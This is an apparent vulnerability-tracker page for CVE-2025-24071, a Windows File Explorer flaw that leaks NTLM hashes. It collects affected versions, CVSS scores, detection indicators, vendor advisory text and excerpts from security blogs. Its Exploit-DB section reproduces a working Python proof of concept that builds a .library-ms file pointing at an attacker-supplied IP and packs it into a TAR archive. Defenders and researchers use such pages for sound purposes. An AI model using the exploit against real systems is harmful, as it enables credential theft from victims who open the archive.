CVE-2025-24071
published 2025-03-11CVE-2025-24071: Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network.
PriorityP180medium6.5CVSS 3.1
AVNACLPRNUIRSUCHINAN
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
25.07%
97.7th percentile
Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network.
Affected
39 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | windows_10_1507 | < 10.0.10240.20947 | 10.0.10240.20947 |
| microsoft | windows_10_1607 | < 10.0.14393.7876 | 10.0.14393.7876 |
| microsoft | windows_10_1809 | < 10.0.17763.7009 | 10.0.17763.7009 |
| microsoft | windows_10_version_1507 | >= 10.0.10240.0 < 10.0.10240.20947 | 10.0.10240.20947 |
| microsoft | windows_10_version_1607 | >= 10.0.14393.0 < 10.0.14393.7876 | 10.0.14393.7876 |
| microsoft | windows_10_version_1809 | >= 10.0.17763.0 < 10.0.17763.7009 | 10.0.17763.7009 |
| microsoft | windows_10_version_21h2 | >= 10.0.19044.0 < 10.0.19044.5608 | 10.0.19044.5608 |
| microsoft | windows_10_version_22h2 | >= 10.0.19045.0 < 10.0.19045.5608 | 10.0.19045.5608 |
| microsoft | windows_11_23h2 | < 10.0.22631.5039 | 10.0.22631.5039 |
| microsoft | windows_11_24h2 | < 10.0.26100.3476 | 10.0.26100.3476 |
| microsoft | windows_11_version_22h2 | >= 10.0.22621.0 < 10.0.22621.5039 | 10.0.22621.5039 |
| microsoft | windows_11_version_22h3 | >= 10.0.22631.0 < 10.0.22631.5039 | 10.0.22631.5039 |
| microsoft | windows_11_version_23h2 | >= 10.0.22631.0 < 10.0.22631.5039 | 10.0.22631.5039 |
| microsoft | windows_11_version_24h2 | >= 10.0.26100.0 < 10.0.26100.3476 | 10.0.26100.3476 |
| microsoft | windows_server_2012 | — | — |
| microsoft | windows_server_2012_r2 | >= 6.3.9600.0 < 6.3.9600.22470 | 6.3.9600.22470 |
| microsoft | windows_server_2016 | < 10.0.14393.7876 | 10.0.14393.7876 |
| microsoft | windows_server_2016 | >= 10.0.14393.0 < 10.0.14393.7876 | 10.0.14393.7876 |
| microsoft | windows_server_2019 | < 10.0.17763.7009 | 10.0.17763.7009 |
| microsoft | windows_server_2019 | >= 10.0.17763.0 < 10.0.17763.7009 | 10.0.17763.7009 |
| microsoft | windows_server_2022 | < 10.0.20348.3328 | 10.0.20348.3328 |
| microsoft | windows_server_2022 | >= 10.0.20348.0 < 10.0.20348.3328 | 10.0.20348.3328 |
| microsoft | windows_server_2022_23h2 | < 10.0.25398.1486 | 10.0.25398.1486 |
| microsoft | windows_server_2025 | < 10.0.26100.3476 | 10.0.26100.3476 |
| microsoft | windows_server_2025 | >= 10.0.26100.0 < 10.0.26100.3476 | 10.0.26100.3476 |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
NTLMSSP_AUTH in SMB traffic to attacker-controlled server triggered by .library-ms file extraction
- →Detect .library-ms files inside ZIP or RAR archives — this is the primary delivery vector for CVE-2025-24071/CVE-2025-24054 exploitation; extraction alone (without further user interaction) triggers an outbound SMB NTLM authentication request. ↗
- →Alert on .library-ms files whose XML content contains a UNC path (\\<IP>\<share>) pointing to an external IP address in the <url> element — this is the malicious payload structure used in CVE-2025-24071 exploits. ↗
- →Inspect .url files for IconFile or URL fields referencing UNC paths to external IPs (e.g., IconFile=\\159.196.128[.]120\share\pentestlab.ico), which trigger NTLM authentication on file preview/interaction (CVE-2024-43451, co-delivered with CVE-2025-24071 payloads). ↗
- →Hunt for .lnk files with a Target Path pointing to a UNC path on an external IP (e.g., \\159.196.128.120), which also trigger NTLM authentication and are co-delivered in the same exploit archive. ↗
- →Flag files masquerading as .xls spreadsheets that are actually .library-ms files — attackers rename .library-ms files with spreadsheet-like names to trick users in phishing campaigns. ↗
- →Correlate NTLM authentication events (Event ID 4776 / network logon type 3) with outbound SMB to IPs in Russia, Bulgaria, Netherlands, Australia, and Turkey — these were the observed hosting locations for SMB hash-collection servers in active campaigns. ↗
- ·CVE-2025-24071 was initially assigned its own CVE identifier but was later consolidated under CVE-2025-24054. Detection rules and IOCs may be listed under either identifier. ↗
- ·The exploit requires only minimal user interaction — navigating to the folder containing the extracted .library-ms file is sufficient to trigger NTLM hash leakage, even without opening the file. ↗
- ·The MSRC advisory states user interaction is required (UI:R) — specifically, a user must be tricked into opening a folder containing the specially crafted file. ↗
- ·The exploit also works via TAR archive extraction (not only ZIP/RAR), as demonstrated by a separate proof-of-concept targeting Windows 10 Pro x64. ↗
CVSS provenance
nvdv3.16.5MEDIUMCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
vulncheck6.5MEDIUM
vendor_msrc6.5MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-mppc-8qxh-4wjw: Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network
ghsa_unreviewed·2025-03-11
CVE-2025-24071 [HIGH] CWE-200 GHSA-mppc-8qxh-4wjw: Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network
Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network.
VulnCheck
Microsoft Windows Exposure of Sensitive Information to an Unauthorized Actor
vulncheck·2025·CVSS 6.5
CVE-2025-24071 [MEDIUM] Microsoft Windows Exposure of Sensitive Information to an Unauthorized Actor
Microsoft Windows Exposure of Sensitive Information to an Unauthorized Actor
Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network.
Affected: Microsoft Windows
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://outpost24.com/blog/unmasking-encrypthub-chatgpt-partner-crime/; https://securelist.com/vulnerabilities-and-exploits-in-q1-2025/116624/; https://www.kelacyber.com/resources/research/2025_midyear_threat_report/; https://securelist.com/vulnerabilities-and-exploits-in-q2-2025/117333/; https://www.ptsecurity.com/ru-ru/research/analytics/aktual-nye-kiber
Microsoft
Microsoft Windows File Explorer Spoofing Vulnerability
vendor_msrc·2025-03-11·CVSS 6.5
CVE-2025-24071 [MEDIUM] CWE-200 Microsoft Windows File Explorer Spoofing Vulnerability
Microsoft Windows File Explorer Spoofing Vulnerability
Description: Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network.
FAQ: According to the CVSS metric, user interaction is required (UI:R). What interaction would the user have to do?
A user would need to be tricked into opening a folder that contains a specially crafted file.
Windows File Explorer: Windows File Explorer
Microsoft: Microsoft
Customer Action Required: Yes
Impact: Spoofing
Exploit Status: Publicly Disclosed:No;Exploited:No;Latest Software Release:Exploitation Less Likely
Reference: https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB5053596
Reference: https://support.microsoft.com/help/5053596
Reference: ht
No detection rules found.
Exploit-DB
Windows File Explorer Windows 10 Pro x64 - TAR Extraction
exploitdb·2025-06-13
CVE-2025-24071 Windows File Explorer Windows 10 Pro x64 - TAR Extraction
Windows File Explorer Windows 10 Pro x64 - TAR Extraction
---
import os
import tarfile
def main():
file_name = input("Enter your file name: ")
ip_address = input("Enter IP (EX: 192.168.1.162): ")
library_content = f"""
\\\\{ip_address}\\IT
"""
library_file_name = f"{file_name}.library-ms"
with open(library_file_name, "w", encoding="utf-8") as f:
f.write(library_content)
tar_name = "exploit.tar"
with tarfile.open(tar_name, "w") as tarf:
tarf.add(library_file_name)
if os.path.exists(library_file_name):
os.remove(library_file_name)
print("completed")
if __name__ == "__main__":
main()
Exploit-DB
Windows File Explorer Windows 11 (23H2) - NTLM Hash Disclosure
exploitdb·2025-05-29·CVSS 6.5
CVE-2025-24071 [MEDIUM] Windows File Explorer Windows 11 (23H2) - NTLM Hash Disclosure
Windows File Explorer Windows 11 (23H2) - NTLM Hash Disclosure
---
#!/usr/bin/env python3
# Exploit Title: Windows File Explorer Windows 11 (23H2) - NTLM Hash Disclosure
# Exploit Author: Mohammed Idrees Banyamer
# Twitter/GitHub:https://github.com/mbanyamer
# Date: 2025-05-27
# CVE: CVE-2025-24071
# Vendor: Microsoft
# Affected Versions: Windows 10/11 (All supporting .library-ms and SMB)
# Tested on: Windows 11 (23H2)
# Type: Local / Remote (NTLM Leak)
# Platform: Windows
# Vulnerability Type: Information Disclosure
# Description:
# Windows Explorer automatically initiates an SMB authentication request when a
# .library-ms file is extracted from a ZIP archive. This causes NTLM credentials
# (in hashed format) to be leaked to a remote SMB server controlled by the attacker.
# No user inte
Securelist
Old tech, new vulnerabilities: NTLM abuse, ongoing exploitation in 2025
blogs_securelist·2025-11-26·CVSS 6.5
CVE-2024-43451 [MEDIUM] Old tech, new vulnerabilities: NTLM abuse, ongoing exploitation in 2025
Table of Contents
Just like the 2000s
How NTLM authentication works
NTLM is dead — long live NTLM
Persistent threats in NTLM-based authentication
Hash leakage
Coercion-based attacks
Credential forwarding
Man-in-the-Middle (MitM) attacks
NTLM exploitation in 2025
CVE-2024‑43451
BlindEagle campaign delivering Remcos RAT via CVE-2024-43451
Head Mare campaigns against Russian targets abusing CVE-2024-43451
CVE-2025-24054/CVE-2025-24071
Trojan distribution in Russia via CVE-2025-24054
CVE-2025-33073
Suspicious activity in Uzbekistan involving CVE-2025-33073
Protection and recommendations
Disable/Limit NTLM
Implement message signing
Enable Extended Protection for Authentication (EPA)
Monitor and audit NTLM traffic and authentication logs
Conclusions
Authors
Leandro Cuozzo
Securelist
How NTLM is being abused in 2025 cyberattacks
blogs_securelist·2025-11-26
How NTLM is being abused in 2025 cyberattacks
Table of Contents
- Just like the 2000s
- How NTLM authentication works
- NTLM is dead — long live NTLM
- Persistent threats in NTLM-based authentication
- NTLM exploitation in 2025
- Protection and recommendations
- Conclusions
Authors
- Leandro Cuozzo
## Just like the 2000s
Flip phones grew popular, Windows XP debuted on personal computers, Apple introduced the iPod, peer-to-peer file sharing via torrents was taking off, and MSN Messenger dominated online chat. That was the tech scene in 2001, the same year when Sir Dystic of Cult of the Dead Cow published SMBRelay, a proof-of-concept that brought NTLM relay attacks out of theory and into practice, demonstrating a powerful new class of authentication relay exploits.
Ever since that distant 2001, the weaknesses of the NTLM authenti
Securelist
Vulnerability landscape analysis for Q2 2025
blogs_securelist·2025-08-27
Vulnerability landscape analysis for Q2 2025
Table of Contents
- Statistics on registered vulnerabilities
- Exploitation statistics
- Vulnerability exploitation in APT attacks
- C2 frameworks
- Interesting vulnerabilities
- Conclusion and advice
Authors
- Alexander Kolesnikov
Vulnerability registrations in Q2 2025 proved to be quite dynamic. Vulnerabilities that were published impact the security of nearly every computer subsystem: UEFI, drivers, operating systems, browsers, as well as user and web applications. Based on our analysis, threat actors continue to leverage vulnerabilities in real-world attacks as a means of gaining access to user systems, just like in previous periods.
This report also describes known vulnerabilities used with popular C2 frameworks during the first half of 2025.
## Statistics on registered vulnera
Securelist
Vulnerability landscape analysis for Q1 2025
blogs_securelist·2025-05-30
Vulnerability landscape analysis for Q1 2025
Table of Contents
- Statistics on registered vulnerabilities
- Exploitation statistics
- Vulnerability exploitation in APT attacks
- Interesting vulnerabilities
- Conclusion and advice
Authors
- Alexander Kolesnikov
The first quarter of 2025 saw the continued publication of vulnerabilities discovered and fixed in 2024, as some researchers were previously unable to disclose the details. This partially shifted the focus away from vulnerabilities that received new CVE-2025-NNNNN identifiers. The nature of the CVE assignment process can result in a notable delay between problem investigation and patch release, which is mitigated by reserving a CVE ID early in the process. As for trends in vulnerability exploitation, we are seeing increasing rates of attacks targeting older operating syste
Securelist
Exploits and vulnerabilities in Q1 2025
blogs_securelist·2025-05-30·CVSS 7.8
CVE-2025-21333 [HIGH] Exploits and vulnerabilities in Q1 2025
Table of Contents
Statistics on registered vulnerabilities
Exploitation statistics
Windows and Linux vulnerability exploitation
Most common published exploits
Vulnerability exploitation in APT attacks
Interesting vulnerabilities
ZDI-CAN-25373: a vulnerability in Windows that affects how LNK files are displayed
CVE-2025-21333: a heap buffer overflow vulnerability in the vkrnlintvsp.sys driver
CVE-2025-24071: a NetNTLM hash leakage vulnerability in the file system indexer
Conclusion and advice
Authors
Alexander Kolesnikov
The first quarter of 2025 saw the continued publication of vulnerabilities discovered and fixed in 2024, as some researchers were previously unable to disclose the details. This partially shifted the focus away from vulnerabilities that received new CVE-2025-NN
Checkpoint
CVE-2025-24054, NTLM Exploit in the Wild
blogs_checkpoint·2025-04-16·CVSS 5.4
CVE-2025-24054 [MEDIUM] CVE-2025-24054, NTLM Exploit in the Wild
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
AI Research 2
Android Malware 23
Artificial Intelligence 4
ChatGPT 3
Check Point Research Publications 455
Cloud Security 1
CPRadio 44
Crypto 2
Data & Threat Intelligence 2
Data Analysis 0
Demos 22
Global Cyber Attack Reports 408
How To Guides 13
Ransomware 5
Russo-Ukrainian War 1
Security Report 1
Threat and data analysis 0
Threat Research 174
Web 3.0 Security 11
Wipers 0
## CVE-2025-24054, NTLM Exploit in the Wild
## Key Points
.library-ms
Around March 20–21, 2025 , a campaign targeted government and private institutions in Poland and Romania . Attackers u
Bleepingcomputer
Microsoft March 2025 Patch Tuesday fixes 7 zero-days, 57 flaws
blogs_bleepingcomputer·2025-03-11·CVSS 7.0
[HIGH] Microsoft March 2025 Patch Tuesday fixes 7 zero-days, 57 flaws
## Microsoft March 2025 Patch Tuesday fixes 7 zero-days, 57 flaws
## Lawrence Abrams
23 Elevation of Privilege Vulnerabilities
3 Security Feature Bypass Vulnerabilities
23 Remote Code Execution Vulnerabilities
4 Information Disclosure Vulnerabilities
1 Denial of Service Vulnerabilities
3 Spoofing Vulnerabilities
The above numbers do not include Mariner flaws and 10 Microsoft Edge vulnerabilities fixed earlier this month.
To learn more about the non-security updates released today, you can review our dedicated articles on the Windows 11 KB5053598 & KB5053602 cumulative updates and the Windows 10 KB5053606 update .
## Six actively exploited zero-days
This month's Patch Tuesday fixes six actively exploited zero-days and one that was publicly exposed, for a total of seven zero-days.
CTF
easy / README
ctf_writeups·CVSS 6.0
[MEDIUM] easy / README
---
layout: default
title: Easy Machines
parent: Machines
nav_order: 1
description: "120+ Easy HTB machine writeups with walkthroughs"
permalink: /machines/easy/
---
# HackTheBox Easy Machines - Comprehensive Reference
> Complete catalog of retired HTB Easy machines with OS, key vulnerability, attack path summary, and quality writeup links.
**Total: 100+ Easy Machines** | Updated: April 2026
---
## Quick Navigation
- [Classic / Legacy Machines (2017-2019)](#classic--legacy-machines-2017-2019)
- [2019-2020 Machines](#2019-2020-machines)
- [2021 Machines](#2021-machines)
- [2022 Machines](#2022-machines)
- [2023 Machines](#2023-machines)
- [2024 Machines (Season 4 & 5)](#2024-machines-season-4--5)
- [2025-2026 Machines (Season 6+)](#2025-2026-machines-season-6)
---
## Classic / Legac
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24071https://www.vicarius.io/vsociety/posts/cve-2025-24071-spoofing-vulnerability-in-microsoft-windows-file-explorer-detection-scriphttps://www.vicarius.io/vsociety/posts/cve-2025-24071-spoofing-vulnerability-in-microsoft-windows-file-explorer-mitigation-script
2025-03-11
Published
Exploited in the wild